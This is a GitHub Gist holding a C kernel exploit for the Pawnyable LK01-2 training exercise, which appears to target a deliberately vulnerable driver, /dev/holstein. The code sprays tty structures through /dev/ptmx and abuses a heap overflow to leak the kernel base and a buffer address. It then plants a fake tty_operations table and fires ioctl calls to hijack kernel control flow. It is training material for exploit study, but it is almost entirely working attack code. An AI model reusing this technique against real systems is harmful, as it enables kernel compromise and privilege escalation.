Last active
November 25, 2022 01:21
-
-
Save brant-ruan/457ac76ada7d8df75f3d7c6eee5fc1f7 to your computer and use it in GitHub Desktop.
Pawnyable LK01-2
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <fcntl.h> | |
#include <stdio.h> | |
#include <string.h> | |
#include <sys/ioctl.h> | |
#include <sys/stat.h> | |
#include <sys/types.h> | |
#include <unistd.h> | |
#define ofs_tty_ops 0xc38880 | |
#define SPRAY_NUM 100 | |
unsigned long kbase; | |
unsigned long g_buf; | |
int main() { | |
int spray[SPRAY_NUM]; | |
for (int i = 0; i < SPRAY_NUM / 2; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
int fd = open("/dev/holstein", O_RDWR); | |
if (fd == -1) | |
perror("open"); | |
for (int i = SPRAY_NUM / 2; i < SPRAY_NUM; i++) { | |
spray[i] = open("/dev/ptmx", O_RDONLY | O_NOCTTY); | |
if (spray[i] == -1) | |
perror("open"); | |
} | |
char buf[0x500]; | |
read(fd, buf, 0x500); | |
kbase = *(unsigned long *)&buf[0x418] - ofs_tty_ops; | |
g_buf = *(unsigned long *)&buf[0x438] - 0x438; | |
printf("[+] leaked kernel base address: 0x%lx\n", kbase); | |
printf("[+] leaked g_buf address: 0x%lx\n", g_buf); | |
// craft fake function table | |
unsigned long *p = (unsigned long *)&buf; | |
for (int i = 0; i < 0x40; i++) { | |
*p++ = 0xffffffffdead0000 + (i << 8); | |
} | |
*(unsigned long *)&buf[0x418] = g_buf; | |
write(fd, buf, 0x420); | |
// hijack control flow | |
for (int i = 0; i < SPRAY_NUM; i++) { | |
ioctl(spray[i], 0xdeadbeef, 0xcafebabe); | |
} | |
getchar(); | |
close(fd); | |
for (int i = 0; i < 100; i++) | |
close(spray[i]); | |
return 0; | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment